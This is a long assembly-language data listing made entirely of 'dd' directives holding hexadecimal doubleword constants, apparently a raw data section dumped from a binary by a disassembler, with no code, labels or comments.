		dd 20007456h, 97484BFDh, 48F4486Dh, 0C5C49D00h,	45BF1AE5h
		dd 807C383Eh, 44A4BACEh, 78895BCh, 17A5D59h, 289E30F6h
		dd 0EA1C2C79h, 4E81A14Dh, 0EBE71649h, 7CED4D0h,	0E15ACDB6h
		dd 0FDEAC030h, 821ED6DFh, 0FCC0203Eh, 0ADC2A670h, 1EEC9628h
		dd 0C908216Bh, 0F2F605D4h, 8E19C1BBh, 8F4C702Ch, 9682D902h
		dd 6011D1BAh, 0A51516h,	0FB20314Ah, 1A7AFC9h, 0C8E2D000h
		dd 9A03D556h, 0FCA900A0h, 3D28BC7Fh, 7C008720h,	0F3B7EE7Ah
		dd 5A1AC691h, 52C40092h, 0F81FCDE8h, 3E044Ch, 0BD46FA33h
		dd 1C7681Bh, 96759D25h,	0DC7A12A9h, 0F000E18Ch,	741658CAh
		dd 28DD37h, 0AC59BDFAh,	39A5D57Eh, 0EE006DB8h, 241E1C0h
		dd 7D2986E6h, 0D6D10FC6h, 3BC04D72h, 548967F3h,	47986E00h
		dd 17620744h, 4FD6003Ah, 0BD88B518h, 4024AC80h,	0B1000830h
		dd 0BEDEC424h, 0FFB4005Fh, 0B5CA8A1Bh, 0C14C6211h, 5E310007h
		dd 93FC351Ah, 0A2330066h, 0C4E84A12h, 3A3DEDBDh, 0AB18843Ch
		dd 0BCB0BA6Ch, 37DC3D59h, 0C2FAB103h, 0A3B02EC9h, 0AEA8DEAh
		dd 0E5CA2250h, 68A7440Eh, 0E68FE9h, 3045242Dh, 0BEED0010h
		dd 19B67614h, 0CD09C4FCh, 803FA897h, 24853B88h,	0E0D000E8h
		dd 45EA432Fh, 8C94C666h, 5C2C0480h, 287CC9ADh, 1FCD920h
		dd 0E1E27F4Dh, 0D86A79E8h, 0FD005064h, 4A22292Ch, 387288h
		dd 0C93047CAh, 3D613F0h, 26A3F206h, 74E8C6h, 4B1EBA99h
		dd 0EDB88554h, 87A63300h, 113FF5D1h, 3BF5BC6h, 0CC742D7Ch
		dd 50E97FEBh, 0C1EC7C12h, 2C20655Eh, 3E0AD878h,	0FCA9DBh
		dd 67CDCFF5h, 0EF0E1EB7h, 0E059AF8Eh, 0B181EC17h, 42D5053Eh
		dd 0C0DFD3EEh, 0AAC3CCFDh, 38AE30Ah, 6800CC10h,	90F6B806h
		dd 5F3472EBh, 8C82A0B4h
		dd 0BB663A01h, 6A8BCF4Ch, 0AB90A180h, 69F8502h,	2EE22725h
		dd 0BE80BFA4h, 0B219FDB7h, 159D1E7Ch, 79AA39EAh, 11030FC4h
		dd 9A60E172h, 7B08C7E8h, 3EDC6E14h, 0C0EF08CCh,	44445AB8h
		dd 5117FB7Ah, 3CC3F091h, 0C66CD874h, 0D89730E5h, 27F34DAh
		dd 998B130Eh, 1000FC8Dh, 76E2CCE9h, 181700D4h, 2D7B700Ch
		dd 4D008EB9h, 0AD893865h, 974AA8h, 2AF22823h, 0FEAC6FCEh
		dd 10843A01h, 918B1457h, 6BE2FCh, 0CF1A95E1h, 3CDD549Eh
		dd 0B6A0E700h, 0F944DED4h, 47E500A4h, 0EA8F7678h, 0EF25E26Ah
		dd 0D08880D8h, 65869Eh,	0E58EA746h, 0CD33642Fh,	11C1960Eh
		dd 0C4F4A01Ah, 0AD0529h, 0FA67B98Ch, 0B6EB9DDFh, 4A7A4C00h
		dd 0CB98A00Eh, 901901EEh, 0C22DDBEAh, 9A6DF4E0h, 0B9F13F12h
		dd 0C64FFC80h, 1D7C002Eh, 98FC95D8h, 7B001453h,	0F899D419h
		dd 51BFE3Fh, 8278CB6Eh,	0E6A8406Ah, 688922B1h, 0B8D3002h
		dd 60F6B5E3h, 8F0C30h, 0A2761879h, 0D0F29C4Dh, 0E5207400h
		dd 0A8A7D7B0h, 86050033h, 82256A3Bh, 5A002917h,	61A456FAh
		dd 243566h, 8F018E3Eh, 2279DF78h, 0A5BCA8C2h, 0C080EB60h
		dd 30C418E5h, 0E208D6F6h, 287C1BEBh, 0C3F8D71Eh, 1E151101h
		dd 2087E15Ch, 25B0A5DDh, 0D7200765h, 7A7ECE10h,	67612430h
		dd 0B541320Ah, 147EBBE0h, 8BD3407h, 0D3BFE401h,	70C56002h
		dd 9F038AEh, 2150B050h,	0C1815E74h, 0C55C5885h,	0A31471CDh
		dd 0D3745099h, 0F20002ADh, 3F69D5B5h, 7124008h,	5D20C2B2h
		dd 1A86C0ABh, 580F2B77h, 606A3C64h, 0AFF07BBh, 364100BAh
		dd 35C819EDh, 0BE009025h, 0C249AD47h, 1CA9BFh, 4EABB72Ah
		dd 4FAE938Dh, 55EC5E00h, 525D5BCCh, 6A560029h, 961A2C36h
		dd 68ECA84Ah, 735EF8EDh, 2D3DBA72h, 32421CA3h, 0A0B0C780h
		dd 39EB62h, 5A569C12h, 5F0352B8h, 4EAC5754h, 0F39B280Ch
		dd 196A1169h, 0F85C0AD3h, 58CB20AAh, 2582E300h,	81F05E2h
		dd 0C9270044h, 689E29E9h, 0E70085CEh, 9D5FD28Ch, 37E3606h
		dd 0F61C65BEh, 9A80DEB6h, 2B7639EAh, 51B26800h,	636049E4h
		dd 0CB825h, 0A0C608BBh,	8012666Ch, 87936150h, 1603B00Fh
		dd 8BB86235h, 7F18E1EDh, 1F2B3DCh, 23257953h, 74E3B5AAh
		dd 0ED01A2D0h, 0A3CF8A82h, 5D95563h, 1494830h, 4DF09283h
		dd 0E82B1BC2h, 0E00ED4F3h, 0ECBEA94h, 583D20B3h, 18AB85h
		dd 5D4C6D43h, 932D2F9Bh, 0D3B87202h, 50071A36h,	0A4520088h
		dd 0C6EB13F7h, 6B739EB7h, 0BC4D8C2Ch, 0E9637E01h, 8C409B1Eh
		dd 0E318CDh, 0AA04DA4Bh, 742EACC1h, 4FDCC000h, 0AF554EB6h
		dd 88E007D5h, 6FEA9DE2h, 1B3B9A80h, 3600CBBBh, 0B8782B25h
		dd 1DD79104h, 28140190h, 16600084h, 206D950Fh, 0C7001263h
		dd 0BD8ACCC0h, 0E71A60Bh, 4F377D62h, 0DD409B63h, 0E4BCFCh
		dd 42F3C736h, 1CC96BEh,	3DFDADDAh, 24B01FC4h, 45002200h
		dd 0E2D6FA63h, 0FC28EDD3h, 77740070h, 6CC29DCCh, 7B00187Ch
		dd 52F472C7h, 12A69B40h, 80F1C49Fh, 6B3CE180h, 69C62Fh
		dd 972D4E44h, 0B6F4026Fh, 0C3BD373Ah, 38FC3448h, 9D8F9A02h
		dd 8015699Fh, 55E1CD8Ch, 37FD017Ah, 38AE6548h, 9A7D7009h
		dd 30548D09h, 0F67478EDh, 0BF230079h, 33FA0BE7h, 0E9039A83h
		dd 70DE64B0h, 9B82CFD2h, 2C945C65h, 0AEB0027h, 88711E1Dh
		dd 0FC9F5103h, 0E886C69Ah, 0C493C1h, 466223D6h,	48211A52h
		dd 96A5F39h, 0D3900Ch, 0B8CB7E38h, 38EA00F7h, 9C60D420h
		dd 6B065203h, 0DF2D6E1Ch, 4F250078h, 950B5987h,	0C7F630EFh
		dd 66832400h, 0A60D8F2Eh, 8BD0A94h, 888B86Ch, 0D38077D5h
		dd 454A3554h, 909478h, 8D4C3B7Ch, 3E0F640Eh, 407A0DC1h
		dd 5DD8A425h, 41E2002Bh, 326265FAh, 8C004C2Fh, 73C07938h
		dd 58552574h, 0C200BD5Ch, 9A80BAF7h, 0FE033A68h, 79BBEE19h
		dd 0FB5FF8A9h, 2393006Dh, 73D4801Bh, 0C8A3AE66h, 0C1959088h
		dd 2381F00h, 4871AC8Dh,	979C0013h, 4E1AB7CCh, 0E009547h
		dd 451989E5h, 6EADCFh, 0EB2D50C1h, 0B5688E07h, 72DC7801h
		dd 0F8F62806h, 4D313C20h, 0D92EACFCh, 34118008h, 126F0E8Bh
		dd 8C80204Bh, 78D50C3h,	53C180B1h, 3D7F10B7h, 674BF0Bh
		dd 31638B05h, 0E8F0868Ch, 2D98A0D2h, 7E7777B4h,	0D3F01FFBh
		dd 0C0B0DD90h, 13417D7Ah, 0B200C43Fh, 9F0EE65Ch, 28D9ACh
		dd 0CDF4260Bh, 0ECB58BCAh, 2CF6E700h, 7017FBAFh, 49302489h
		dd 610006Ch, 7DF191C0h,	79517B01h, 66D50A78h, 423020h
		dd 1DBA80F3h, 16FC6534h, 0A3583702h, 82D93B46h,	20BB8CF4h
		dd 0E6CDF2A0h, 0C80095B0h, 0D68A1B97h, 3CC9BA62h, 558002BCh
		dd 487BA374h, 0B19D1A2Fh, 5420CCF0h, 0AB500B74h, 6D80AEB7h
		dd 93E7C46Ch, 0A900857Dh, 6A577AB0h, 733B4DEAh,	163000C6h
		dd 9A48FD62h, 0CBE03C5Fh, 616E6F00h, 0E3569164h, 221A137Fh
		dd 8E300A7h, 5A8303D6h,	14C6D005h, 7CC31F2Ch, 6B182E09h
		dd 0E841037Ch, 6AC3D5F1h, 0A680C1E8h, 228D4701h, 0E96EF081h
		dd 0E827A4F0h, 46520949h, 0C00C965h, 9343BE78h,	4C8F8E00h
		dd 0BD980F33h, 0CB260158h, 80C7CE4Fh, 3774D410h, 1C637F00h
		dd 0A4126B8Fh, 48E31C5h, 6D7EBCD8h, 99600494h, 98903A71h
		dd 4B65AD38h, 0BC208031h, 4590C687h, 6E49FE07h,	0A370D0C7h
		dd 70BAB6Ch, 93AC9B5Bh,	215C50E4h, 75134287h, 441CC36Eh
		dd 8ED47081h, 0A4402AAFh, 1D0F93FBh, 0C013285Ch, 0F171B1D1h
		dd 6EE64EFDh, 6FCA7900h, 6C46A7F3h, 3769009Bh, 0C25EF003h
		dd 0BFE8D818h, 4D3360F5h, 0E39DE800h, 13038453h, 61660536h
		dd 1E9F5D5h, 813DBAA6h,	0BBF084DDh, 330F5A5Fh, 0E5744500h
		dd 11130904h, 6C00051Ch, 979A07CFh, 4AF27AA1h, 2860C874h
		dd 0D8861B00h, 0DA2B9381h, 0A809009Fh, 72202304h, 8B00981Fh
		dd 56716ABh, 0FE90BBE3h, 6C1700F4h, 3B065304h, 0CF00D6EFh
		dd 49DC210Ch, 4C4B9874h, 0AA002CD8h, 8D1D3C6Dh,	0A7055CFBh
		dd 0D65FA586h, 0C01620D0h, 107B0A79h, 7C46794h,	3939D782h
		dd 0CCD1EC20h, 4C04A2F9h, 0C976D3ABh, 50D45080h, 25B009Eh
		dd 0CFDE68C5h, 0D601069Ah, 0D80FB9FFh, 4CC08521h, 0EA260015h
		dd 8AB30249h, 68F465A1h, 7E3ABF09h, 8C4800FAh, 22E516h
		dd 595A9388h, 236C5F8h,	0B61E100h, 0C28C8F0Ah, 0B59C063Ch
		dd 0A0CBABEDh, 5878B002h, 0C07A2D33h, 2B0AC4h, 0CC6645AAh
		dd 0E1EF61E7h, 0BA774300h, 209E5C0Bh, 0CE7500A5h, 3CEE0227h
		dd 6C01E4A9h, 0FB2F1E23h, 0BAD4AFBDh, 8C7D014Ch, 936105CDh
		dd 6E9EC431h, 0E4C36B00h, 0D9FAB755h, 0BA65018Dh, 0E67574E5h
		dd 0FC6421EAh, 61EACB92h, 4A50F007h, 0F3E0A268h, 0FF6A194h
		dd 48173854h, 2E0959A1h, 34403B7Eh, 1852804Ch, 71BF005Ah
		dd 0A2D92629h, 0D00CC5Dh, 0FF62FEF7h, 0E6EE4BA7h, 47210010h
		dd 585A4D1Ah, 689E175Bh, 0A8F09913h, 566C39E6h,	911217F9h
		dd 81248025h, 0C0E3F4A5h, 7100722Bh, 2FDC5F66h,	0B5E1C9h
		dd 0D247D34Fh, 8619CF40h, 207CC31Fh, 0C234CAC0h, 16620488h
		dd 0E91873h, 6E224448h,	0AF006054h, 35CCECC9h, 5C2FAB2h
		dd 426D4781h, 26E4A0B4h, 2000137Fh, 0A1FA3956h,	1C78B6D4h
		dd 0C03552F6h, 73CBD075h, 473AFBEFh, 0C32692F0h, 40A4FC00h
		dd 0BC208D66h, 548A0068h, 0E2B2D95Ah, 27FC9812h, 615340C8h
		dd 0C2C0116Bh, 0A5DAF008h, 4044974Bh, 8B4D2DFh,	0C64D078Fh
		dd 412D8E58h, 8C1A5654h
		dd 10458D18h, 843900CEh, 96D75F04h, 4B035DC9h, 1FCF3B5Eh
		dd 5167D863h, 6F3C0007h, 9B4E8894h, 34BA3C2h, 0C4337800h
		dd 0F7B0DF3Eh, 0F400502Dh, 74400C1Bh, 73DCAA7h,	24100027h
		dd 0FEEDCF2h, 0B47713D7h, 3D5206E7h, 56009879h,	49669DA4h
		dd 1E153EF4h, 96DA8133h, 3B4444B0h, 2080B2E1h, 0CF5F58ADh
		dd 0DA547F00h, 2191232Fh, 0C6001870h, 82CA15C1h, 253EB64Dh
		dd 7898AFA8h, 503E21F6h, 7AEB00C7h, 9EF5520Ah, 4ADE1DFCh
		dd 8429C116h, 806E5C71h, 8E7F14B0h, 955573h, 0EBB0421Dh
		dd 72FD43ECh, 18DC4A00h, 0E909B968h, 276C0283h,	8D311522h
		dd 4EDB1040h, 0AF2A2100h, 9B36F0CFh, 29EC0776h,	605B59CCh
		dd 2C48C334h, 0BC677100h, 5E8F2407h, 1F510031h,	13BE2818h
		dd 0E93D46F5h, 35FDD0C5h, 0A306839h, 884C89CDh,	0FC61628Ah
		dd 0E0DC7080h, 458A85Ch, 347F250Ah, 0AC39C0C7h,	6800481Fh
		dd 0A2C68E5Dh, 2A5CF627h, 1B0C0F7h, 13BD95D6h, 71F96933h
		dd 9FB2206Eh, 2BB1B424h, 0A6F63900h, 74A16DAFh,	20CA0C96h
		dd 25788DE6h, 6050333Fh, 2EA1B160h, 8120C155h, 0B026CBEBh
		dd 4E6AA118h, 0ED52008Dh, 5C42119Fh, 19F8ECAEh,	5823D424h
		dd 0A8F5C681h, 0C5D08F01h, 1DA53DB0h, 2180E774h, 40A90D63h
		dd 0E901B8E4h, 52BFC48Dh, 6883F254h, 0C5323B49h, 0DB59801Dh
		dd 5203C1D0h, 0BA020728h, 5F1C8900h, 4C33879Dh,	3B66193Eh
		dd 84BF0864h, 9D36FB21h, 93AFE6C0h, 0F4C90BD3h,	0D401845Ch
		dd 40140ECEh, 6B7CE1A0h, 77716D0Eh, 182600C1h, 1C799E0h
		dd 2C1272B9h, 30AB4FF3h, 0CD007E43h, 0C5698050h, 0EAD6D3h
		dd 490B23B4h, 0F7F82D08h, 6FBC760Eh, 0EF534Eh, 0F5567F8Ah
		dd 53794239h, 87C90800h, 2AE3B00Fh, 214900F2h, 848FCE86h
		dd 7A5CA401h, 7F29005Fh, 7571F1A1h, 1B370053h, 0A044464Bh
		dd 8D000FE0h, 0B82E4F49h, 99B63Ah, 0C2FB12BAh, 80229370h
		dd 0ACAD7704h, 0ECC7308Fh, 2E86104Ch, 12CBE7Dh,	6591E38Bh
		dd 0B1089853h, 662121h,	0C2FE1BBEh, 0A5B502CFh,	89267C00h
		dd 0DFC8935Bh, 76FF19D4h, 0D3AD18E6h, 3A6F383Ch, 11A8B062h
		dd 1D01F4Dh, 0B30C0EABh, 9B242682h, 98217908h, 0FDBD0F5h
		dd 0D8466310h, 931CE027h, 5864D752h, 1D636050h,	1C0ED2FFh
		dd 0E810AA31h, 0EA07D0F3h, 194E57B5h, 46AFD480h, 0AC81802h
		dd 40A0A972h, 2A685800h, 0D40BE557h, 0A71807EFh, 0BFE45DFAh
		dd 80CE9EA6h, 25478605h, 0AC1C3504h, 70C3D6Ch, 0D7497Eh
		dd 0FC78A3DFh, 49682E1h, 0E908D263h, 412000A5h,	0A9C0A3B8h
		dd 3F0F5612h, 81AD60BFh, 0C9772282h, 0CF4BD040h, 0EF590015h
		dd 0D47E8AA4h, 10F81A55h, 0AB008DFEh, 739420A3h, 849B32h
		dd 0A9ECC323h, 90D3EE83h, 0BB187500h, 2CE8CEF4h, 0BDD50002h
		dd 43368B0Ch, 0E018FC0h, 73016CBCh, 0F7604749h,	0CAAD04B8h
		dd 0C0754FB2h, 0F8C44AC8h, 40735C03h, 3E62C739h, 0D086311h
		dd 0B3004E98h, 5BE2DFEAh, 407DC8h, 96A316B6h, 89287157h
		dd 0ED8C96A0h, 75DB3800h, 0D9C89DC1h, 0EABF00E2h, 2266F657h
		dd 731F86BCh, 0F1804546h, 27FE2447h, 8DF605h, 70939860h
		dd 9C644ED1h, 773D0D00h, 62B9A8F6h, 0C4033C22h,	30071B87h
		dd 0C181F0A1h, 9E00F052h, 1AEC4435h, 9D2E06Bh, 4A66583Fh
		dd 0BD0DC601h, 7AA7DC29h, 9AD8503h, 87B9B0ACh, 9CE5EB00h
		dd 348FE7Ch, 0CE23DF49h, 0D00006CBh, 4C38B35Ah,	0ECDC5EF1h
		dd 2E4E0086h, 26BB0BECh, 5B006097h, 167FC394h, 3931BF1Eh
		dd 36006977h, 4EE46AFAh, 430082A6h, 1B729C93h, 0E5C478h
		dd 2937FFE2h, 0B610D45Dh, 0B4070B1Fh, 0A862F180h, 0A85A98CDh
		dd 0AE1E94h, 0D5E2E16Ch, 0DD53057Eh, 0A1DEAD00h, 0C249CFD6h
		dd 1D8310A5h, 710F1C28h, 23E25B40h, 289DFB3Dh, 0E0F97Dh
		dd 11388B3Ch, 0EA5EE42Ah, 0FDAA7400h, 0D3136D52h, 998F004Fh
		dd 40A1DF0Dh, 3CE811ACh, 0C9EDFB12h, 8B6C0040h,	5A6462h
		dd 0CCC25E76h, 5C6B984h, 43933A00h, 0D483B40Ah,	0C7B638CBh
		dd 87BEFD00h, 15EFF47Fh, 717A8BFCh, 496E16C0h, 1D544Eh
		dd 0C07336CFh, 0F769D476h, 8B149B07h, 44671AB3h, 7DF746Bh
		dd 0C017E1D1h, 47165FA6h, 924F890Fh, 67CBA050h,	18C1D0h
		dd 4030ED32h, 9F176842h, 0E5F22D1Fh, 51AB8C00h,	0AFBAE1h
		dd 2647599Ah, 0A410F514h, 841BE900h, 388DB180h,	0BB4903E4h
		dd 33C76055h, 0A3F09FD8h, 6826D00Eh, 0E45E0AD8h, 0F8FBDB00h
		dd 4B34E51h, 3AD41A3Eh,	0C0909717h, 0E9EA67CAh,	0E65BDA00h
		dd 7C84CB5Dh, 60D570A8h, 63687AFFh, 870E45D3h, 0E0B2BA55h
		dd 0E1E6F61Eh, 7D3D0098h, 97EC9BA1h, 6B006730h,	5B28669Ah
		dd 241BF132h, 134B43Dh,	0C701813Ch, 85799022h, 3F3BD000h
		dd 19B955DAh, 0F3E66504h, 2087C9CEh, 394FA0BFh,	269BEC0h
		dd 0ED5E8615h, 0DCA0EB01h, 0BB73AE4Bh, 0C20F120Ah, 4C00C029h
		dd 90770B32h, 0C4FD001Eh, 0C108187Fh, 731F123Ah, 8540932Dh
		dd 79CB15E8h, 8C2400A8h, 0A135060Eh, 8F3DD317h,	0C6017ED5h
		dd 0A6266E7Ah, 94505B23h, 335E73h, 0CC7C65BCh, 0CF4AE206h
		dd 8D18E70Eh, 89D2069h,	7671B6A6h, 77F5B0A2h, 0B0570067h
		dd 4A6C2546h, 831F408Bh, 0F900E80Fh, 0E14F5B8Ch, 859703B9h
		dd 7F774AF6h, 5C4E3BE0h, 83027400h, 0F0475AF8h,	0CD52007Eh
		dd 3ECFDF6Bh, 0A2908757h, 68F9AD03h, 0FD389EA9h, 59F835C0h
		dd 0C0DD071Dh, 2025F440h, 86B94ABBh, 508FB300h,	0D4A1AA05h
		dd 576226A0h, 91F18794h, 0DDD9D0C9h, 0ED00035Dh, 166E9D11h
		dd 0B0FE31h, 3DBFD63Ch,	3EF85888h, 0C9227007h, 0D4D0F3FDh
		dd 4C4A60ADh, 0B40041F0h, 774B80D1h, 0C300365Dh, 840D68CDh
		dd 0E8338D0Ah, 9AE001Dh, 7E49FA21h, 0D9002366h,	0D240C729h
		dd 18CEE23Ah, 809CF068h, 0AE018D81h, 0D80C6B50h, 3DFC5E40h
		dd 9BF600CCh, 0B4788AC0h, 0DC00E1ECh, 3F38536Dh, 92AD67F1h
		dd 9A78FCh, 17030971h, 0AA241F02h, 0ACBBBA00h, 0A44FDC8h
		dd 0FB110034h, 8FA9366Eh, 8A393013h, 8D9C001Eh,	0C147BAC0h
		dd 27400028h, 3ED95486h, 6D009E50h, 0E737A98Fh,	48B7678h
		dd 326E04EAh, 6558D72Fh, 1F90203Fh, 0AD00D9E3h,	0AF0BD38Ch
		dd 5B2425h, 3F5C2841h, 60B01C6Bh, 1F2C593Fh, 0B580406Eh
		dd 0ACC3AD49h, 0FBA200C9h, 0FB2212Ah, 0C7508F0Ah, 0B600F1AFh
		dd 0F503555Bh, 5018A211h, 795ECE1h, 0FC074ADDh,	5ECFF035h
		dd 113DA22h, 7A004761h,	0EF3C4FDEh, 0A52900D6h,	41E89ADFh
		dd 0A2EE755Fh, 3AC83513h, 1B87EA00h, 3B5684Fh, 1D8D2616h
		dd 98C82CF0h, 0A50CACBCh, 1C8012D0h, 0B404008Ah, 0AF46BA20h
		dd 300B5C4h, 12FADD48h,	0A1F789h, 65A78A7h, 5F2A0B28h
		dd 0F8B3C328h, 30655200h, 25D4EBB4h, 0BA5C0039h, 8A43DE48h
		dd 2700985Fh, 0E47D210Eh, 1A25FAh, 0C370072Ah, 0DBF7CA9Fh
		dd 0A300CC78h, 0D0722475h, 9BD34Eh, 2367FB57h, 3F74939Fh
		dd 7C29700h, 7ED9879Ah,	6FCA3CE9h, 1A85D80h, 0C02A62F7h
		dd 67B35C00h, 173E7365h, 0CB5B3A99h, 72B3A00h, 0AA6F449Eh
		dd 39A29F00h, 0C34C64EAh, 0F7AF016Bh, 7197CED1h, 0A040EE51h
		dd 9000024Ah, 2B143D8Bh, 263FB90Bh, 5D81A9h, 38DFF727h
		dd 6B007D80h, 0E7F90165h, 1D759DE0h, 0C1174F69h, 0EA72D7D0h
		dd 0A55E3095h, 0E9CB2B05h, 5CD09B75h, 0E1E05Ch,	0A036CDF4h
		dd 7CEFF06Fh, 80C729F0h
		dd 39F506Dh, 0F62AF85h,	2CEF6010h, 79891A41h, 10FC40A6h
		dd 5B3B05B9h, 5C24806Fh, 0BBDBC96Bh, 0BDF400A8h, 3DB49731h
		dd 0A37CCFC4h, 2DE81303h, 80A11CEDh, 0C36F6h, 0B8A48F8Ah
		dd 0EC7D7207h, 0F8C89018h, 30EED3A0h, 0C08877A0h, 7B242B22h
		dd 0C981C4DBh, 0C37929A5h, 0D42F0840h, 1C0BD4Fh, 2705A05Eh
		dd 3849AFD3h, 0FD9A820h, 187379C0h, 587088F0h, 2E086E72h
		dd 27F502E3h, 4E074E7Ch, 47F1C53Fh, 0BCF8F7FCh,	0C6EEE7h
		dd 2342F4BAh, 0B36DBE33h, 0A7887A00h, 31C34D62h, 0EC27796h
		dd 7892162Fh, 42A6B00h,	36001CD6h, 72E7706Fh, 0C1E59Dh
		dd 0FF6503EFh, 88D5C698h, 8EA84F00h, 0E3F73F1h,	0D6400B92h
		dd 0EB806436h, 5EFE7C03h, 9ED7603Fh, 0FD809B50h, 77448DB9h
		dd 3FC1C96h, 7B93404Ch,	0BF3E2C54h, 6B56A201h, 1CF93CACh
		dd 7E274ECh, 0C757CD4h,	63EB8024h, 3F1DA0B4h, 70400252h
		dd 0FAA61C64h, 30D83AC8h, 0A20539BAh, 80EA5896h, 0B2E6CD66h
		dd 1175620Bh, 0FC5C205Ah, 31A0646h, 0F49F96D3h,	8338EDBh
		dd 0D80F215Fh, 1F74FD06h, 0BA2DD7h, 0DF6DC231h,	6A01C435h
		dd 0AA5DCB4Eh, 92F03207h, 0FB9E155Ch, 583AC4F7h, 6E8D2080h
		dd 75C0EEC8h, 7E041048h, 1FB121C0h, 23F421h, 41C962A1h
		dd 0E6B636D0h, 2DCD8D00h, 944D6AC6h, 7E30C119h,	22AC1DF9h
		dd 1BA40718h, 7DE04391h, 66494FF0h, 21B008B5h, 91247F07h
		dd 4E24DA7Ah, 0DDD32090h, 585560EDh, 636B71FFh,	0F89170D8h
		dd 1AE10FAEh, 158F7DDAh, 116C54AAh, 20F6809Dh, 8CC06E8Ah
		dd 0A65D44h, 4005211Eh,	8EB015DCh, 302DD35Ch, 0E1E778C5h
		dd 65EB40DBh, 0B1C1C2ECh, 61104241h, 28D4ACF2h,	0D1E940ABh
		dd 4FB2203h, 90E37EA5h,	76223E2h, 0EE80ECA2h, 0D53730D4h
		dd 10E22AAh, 60358307h,	0AF591456h, 67960004h, 0BFC40C4Ch
		dd 8006D58h, 97F36E28h,	4163918h, 4DE6115h, 3B440EFh, 0E843B3A9h
		dd 0C5E1039Fh, 0E08A69EDh, 8B00A673h, 0F3D0F979h, 3F944716h
		dd 0D100E334h, 31CD69FCh, 4B03C25Dh, 3595710Ch,	0E06CEB8h
		dd 5F0A308Dh, 381B6640h, 1A002063h, 0C910FE51h,	0CE7164h
		dd 4431AB75h, 30A5C8DFh, 63363Eh, 2A5A1D5Eh, 0BE7EBh, 4B988C52h
		dd 0B8062C9Fh, 8135FFA1h, 0E0E53E58h, 38BC02F5h, 42EF1380h
		dd 21E6CF66h, 492C481Fh, 6BF28B86h, 0FE5A7C18h,	7D7268h
		dd 0D88FDFBBh, 0C165EFBAh, 231FE3B8h, 0DC0F486h, 30916C6Bh
		dd 81CE32F9h, 4959C11h,	666AC786h, 1C80FE10h, 9D4326BFh
		dd 4CB4809Eh, 0E613E17Dh, 49410103h, 0F9B8CEF3h, 0C0DF3B0Eh
		dd 0EC6585h, 309936CBh,	0F8D21644h, 98322700h, 33DAA59Ch
		dd 0EFC3009Dh, 3F8F58D7h, 0AA00C26Ch, 7A8BFEC1h, 5C705Eh
		dd 8668E5A7h, 291D6A4Eh, 0C903E00h, 8FAF2D0Dh, 7BB758Dh
		dd 59EFB5F6h, 0C535301Fh, 4706A651h, 19AEA024h,	386D05A9h
		dd 80D2EF59h, 8E46C6BAh, 4FECEE00h, 3568E79Bh, 317300B3h
		dd 7EF50EADh, 0C5A006B1h, 3007E096h, 1DD8334Ah,	0BB306B47h
		dd 0F0495Eh, 9AD2BA3Bh,	9EAEC913h, 53FC0900h, 0F220E18Dh
		dd 191ECEDh, 786AC3BAh,	0CC9357E4h, 7A1DB14Ch, 0C4CF2D14h
		dd 9946E1B4h, 0D8DB3E36h, 5948144h, 6B9219AFh, 834080F5h
		dd 0D67A460Bh, 53EE4000h, 4F63B955h, 724A1FC1h,	530C086h
		dd 20FF221h, 4857DCA9h,	0F40077A8h, 0BA54BD47h,	1A9CF840h
		dd 0A8DCC1FDh, 0F5E28300h, 0B0002826h, 9D9E300Ch, 0D6F67Dh
		dd 953B1E0Fh, 330B7AF0h, 4C26FC01h, 3C1DF307h, 14505921h
		dd 2D4A971Ch, 207E3A76h, 0AC27C800h, 396A67B8h,	5F0015E4h
		dd 22EE5C53h, 0E00A31Ch, 3A16A48Ch, 3E4018F7h, 530081ACh
		dd 0BC45DE07h, 6B016D54h, 16ABC03Ch, 7DC865FBh,	4688069Ah
		dd 0F0B34BDAh, 0C8037707h, 11A3EC0Fh, 2A380047h, 0CEFB62BFh
		dd 4A00926Ch, 397AEB51h, 0FEFA7F2Bh, 0AE5200A7h, 9DB100Ch
		dd 0A30E3518h, 401319E3h, 20712D84h, 0BE0F009Dh, 18A0B5EAh
		dd 2B3D67A7h, 0CA6C0008h, 0E3EE0655h, 379400C4h, 2EF7466Eh
		dd 49B835BBh, 14643100h, 7C3F53Ch, 637C24h, 556BD88Eh
		dd 0A351412Ah, 0D03A3E2Ah, 408F2700h, 15A7DED1h, 0DD671E54h
		dd 2D0E43BFh, 58C0C82Eh, 0E8004C13h, 6DB099DAh,	591AD3h
		dd 3A83E58Fh, 0F26A9F8Ah, 9087B300h, 1DA1582Fh,	2C78023Bh
		dd 0CE6D7B2Eh, 6E4A48Ah, 767AE9CCh, 4773591Eh, 0D4012440h
		dd 0CD5D1h, 0BE21F1DFh,	875DCA54h, 1160AB00h, 9C104A8Dh
		dd 97F69Ah, 0ED1B3372h,	933021D4h, 694E5100h, 0AC888B7Ah
		dd 765D12BBh, 0EA2009ADh, 0CBDCAC00h, 20EDB4ABh, 0C400053Ch
		dd 0BFEF6C4Bh, 1DCE5699h, 589343h, 6847ADDAh, 0E17964FDh
		dd 80F2B200h, 19855F74h, 0DD251E9Fh, 406D936Bh,	4F69348h
		dd 98001A64h, 1840E18Bh, 0A86A03h, 9BE68782h, 0F15A4829h
		dd 0A37AD400h, 40A7FA96h, 95F900EFh, 6CB44960h,	3D617BC4h
		dd 0CC11D9C8h, 79129440h, 0F1DE1D3Fh, 0ED05402Fh, 9ACB1B49h
		dd 63FE060Ch, 76C330CFh, 0E10100ECh, 27910EB6h,	1A1F52C4h
		dd 22816FA5h, 143C7737h, 0D6A0DC47h, 6D9092h, 0F2E68E0Fh
		dd 63372EBEh, 0A86F90C0h, 0A23C8Ch, 7C87DA66h, 68559D0Fh
		dd 998F8800h, 0E9D289EBh, 49FE1C4Bh, 0D8B3406Bh, 3A310EABh
		dd 5995D400h, 0D2EBAE2Fh, 0A5FE3FDFh, 0C8472095h, 0DA31F201h
		dd 207949C9h, 2A00297Eh, 5BDBF324h, 0EA551EAFh,	68920442h
		dd 808E1944h, 7CEAD420h, 2E656B00h, 49D86A1Bh, 0B9DE1C18h
		dd 61114168h, 203EBCFEh, 380009A8h, 0EF191631h,	506EAAC8h
		dd 1F8AD07Fh, 4312638Fh, 0B857F8CBh, 0CE3135B0h, 39624709h
		dd 0E4F4002Ah, 0F45F294h, 0E7976E2Ch, 99677C00h, 0AA2CF151h
		dd 0CA2C798Bh, 876B3300h, 1522B186h, 0B4214E95h, 8BBA1300h
		dd 0E9667526h, 0A460F4E2h, 0E8561718h, 2927634Bh, 51C8641Dh
		dd 0B500F197h, 0D78495C0h, 0CFBC34h, 98792780h,	0D1B192B6h
		dd 94E92C28h, 9A08B204h, 0D4904695h, 1C7DFFCh, 58328166h
